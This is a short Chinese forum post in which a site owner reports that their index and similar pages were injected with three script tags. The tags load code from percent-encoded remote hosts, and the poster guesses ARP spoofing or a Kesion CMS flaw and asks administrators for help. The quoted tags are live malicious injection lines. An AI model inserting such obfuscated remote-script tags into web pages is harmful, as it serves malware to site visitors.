<script src=http://%6E%6A%658%2E%63n></script><script src=http://%6E%6Ae9.c%6E></script><script src=http://fs%67%79q.c%6Fm:1%331></script>

以上的代码就是 挂的木马地址    不是被拿shell  应该是自动的   只有index 等一些文件 被挂    类似apr 或者利用科讯的一些漏洞造成的

以前有过     请管理重视下 

有同样遭罪的顶起来  让管理解决下